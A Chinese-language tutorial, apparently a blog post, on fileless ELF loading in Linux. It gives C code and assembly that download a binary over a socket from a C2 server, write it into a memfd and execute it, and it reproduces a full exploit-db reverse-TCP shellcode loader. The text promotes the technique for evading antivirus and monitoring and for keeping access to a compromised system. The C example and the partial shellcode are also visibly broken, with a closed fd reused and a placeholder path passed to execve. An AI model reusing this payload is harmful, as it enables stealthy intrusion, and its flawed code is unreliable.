在Linux环境下使用C语言完成上述任务需要涉及到以下几个步骤:
- 从socket读取ELF数据
- 将ELF数据映射到内存中
- 使用memfd_create()创建文件描述符,将ELF数据写入到创建的文件描述符
- 使用execve(),从/proc/self/fd/执行ELF数据
下面是一个简单的示例代码,它涵盖了上述的步骤:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <elf.h>
#include <linux/memfd.h>
#include <unistd.h>
#define SIZE 4096
int main() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
printf("Could not create socket");
return 1;
}
struct sockaddr_in server;
server.sin_addr.s_addr = inet_addr("127.0.0.1"); // replace with your server IP address
server.sin_family = AF_INET;
server.sin_port = htons(8080); // replace with your server port number
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
perror("connect failed. Error");
return 1;
}
char buffer[SIZE];
int total_read = 0;
int read_size;
while ((read_size = read(sock, buffer + total_read, SIZE - total_read)) > 0) {
total_read += read_size;
}
if (total_read <= 0) {
perror("read failed. Error");
return 1;
}
int fd = memfd_create("elf_data", MFD_CLOEXEC | MFD_ALLOW_SEALING);
if (fd == -1) {
perror("memfd_create failed. Error");
return 1;
}
if (write(fd, buffer, total_read) != total_read) {
perror("write failed. Error");
return 1;
}
if (ftruncate(fd, total_read) == -1) {
perror("ftruncate failed. Error");
return 1;
}
close(fd);
void* addr = mmap(NULL, total_read, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) {
perror("mmap failed. Error");
return 1;
}
close(fd);
char* args[] = {(char*)addr, NULL}; // Assume the ELF data is a program that takes no arguments. Adjust as needed.
execve("/proc/self/fd/<fd>", args, NULL); // Replace <fd> with the actual file descriptor number. It should be the same as 'fd' in this example. But better to use the actual fd number for robustness.
perror("execve failed. Error"); // This should only be reached if execve() returns an error. In that case, you might want to munmap() the memory and exit().
munmap(addr, total_read); // Unmap the memory if execve() fails.
return 0; // Control should never reach here if execve() is successful.
}
这个代码示例做了以下事情:
- 创建一个socket并连接到服务器。在这个示例中,我们假设服务器运行在本地(IP地址为127.0.0.1),并且监听在8080端口。实际应用中,你需要替换成你的服务器的实际IP地址和端口号。如果连接失败,程序将打印错误信息并返回1。
- 从socket中读取ELF数据。这里假设ELF数据以4096字节的块进行传输,可以根据实际情况调整这个值。同时,这个示例没有处理ELF数据的完整性和校验,实际应用中需要确保数据的完整性。如果读取失败,程序将打印错误信息并返回1。
- 使用memfd_create()创建一个文件描述符,并将读取的ELF数据写入到这个文件描述符。然后使用ftruncate()设置文件大小。这里假设ELF
- 使用mmap()将ELF数据映射到内存中。这里假设ELF数据是一个可执行文件,不需要传入任何参数。如果ELF数据是一个复杂的程序或脚本,可能需要一个更复杂的执行策略。然后使用execve(),从/proc/self/fd/执行ELF数据。注意,你需要将替换为实际的文件描述符号码,例如10。在成功执行后,程序应该返回0,并将控制权交还给操作系统。
接下来翻译为shellcode:
第一步是设置用于进一步通信的套接字:
push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall
然后连接到我们的服务器:
xchg rdi, rax
movabs rcx, C2_addr
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall
memfd_create系统调用:
xor rax, rax
push rax
push rsp
sub rsp, 8
mov rdi, rsp
push 0x13f
pop rax
xor rsi, rsi
syscall
连接/proc/self/fd/和我们的文件描述符
add rsp, 16
mov qword ptr [rsp], 0x6f72702f
mov qword ptr [rsp+4], 0x65732f63
mov qword ptr [rsp+8], 0x662f666c
mov qword ptr [rsp+12], 0x002f64
使用execve执行我们的文件描述符:
lea rdi, [rsp]
push 0x3b
pop rax
cdq
push rdx
push rdi
mov rsi, rsp
syscall
在进行渗透测试时,Linux中ELF文件的无文件加载是一种有用的技术。这是一种相当安静的方式,可以抵御各种防病毒保护、控制系统完整性和监控内容更改硬盘的监控系统。这样,访问目标可以很容易地维护系统,留下最少的痕迹。
完整的shellcode如下:
原文地址:https://www.exploit-db.com/shellcodes/51693
# Shellcode Title: Linux/x64 - memfd_create ELF loader (170 bytes)
# Shellcode Author: Ivan Nikolsky (enty8080) & Tomas Globis (tomasglgg)
# Tested on: Linux (x86_64)
# Shellcode Description: This shellcode attempts to establish reverse TCP connection, reads ELF length, reads ELF and maps it into the memory, creates memory file descriptor, writes loaded ELF to it and executes. This shellcode can be used for fileless ELF execution, because no data is writted to disk
# Blog post: https://blog.entysec.com/2023-04-02-remote-elf-loading/
# Original code: https://github.com/EntySec/Pawn
section .text
global _start
_start:
; Set up socket for further communication with C2
;
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall
; Connect to the C2 server
;
; int connect(int sockfd, {
; sa_family=AF_INET,
; sin_port=htons(8888),
; sin_addr=inet_addr("127.0.0.1")
; }, 16);
xchg rdi, rax
mov rcx, 0x0100007fb8220002
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall
; Read ELF length from socket
;
; read(unsigned int fd, char *buf, 8);
pop rcx
push 0x8
pop rdx
push 0x0
lea rsi, [rsp]
xor rax, rax
syscall
; Save length to r12 and socket descriptor to r13
pop r12
push rdi
pop r13
; Create file descriptor for ELF file
;
; int memfd_create("", 0);
xor rax, rax
push rax
push rsp
sub rsp, 8
mov rdi, rsp
push 0x13f
pop rax
xor rsi, rsi
syscall
; Save file descriptor to r14
push rax
pop r14
; Allocate memory space for ELF file
;
; void *mmap(NULL, size_t count,
; PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
push 0x9
pop rax
xor rdi, rdi
push r12
pop rsi
push 0x7
pop rdx
xor r9, r9
push 0x22
pop r10
syscall
; Save address to the allocated memory space to r15
push rax
pop r15
; Read ELF file from socket
;
; recvfrom(int sockfd, void *buf, size_t count, MSG_WAITALL, NULL, 0);
push 0x2d
pop rax
push r13
pop rdi
push r15
pop rsi
push r12
pop rdx
push 0x100
pop r10
syscall
; Write read ELF file data to the file descriptor
;
; size_t write(unsigned int fd, const char *buf, size_t count);
push 0x1
pop rax
push r14
pop rdi
push r12
pop rdx
syscall
; Execute ELF from file descriptor
;
; int execveat(int dfd, const char *filename,
; const char *const *argv,
; const char *const *envp,
; int flags);
push 0x142
pop rax
push r14
pop rdi
push rsp
sub rsp, 8
mov rsi, rsp
xor r10, r10
xor rdx, rdx
push 0x1000
pop r8
syscall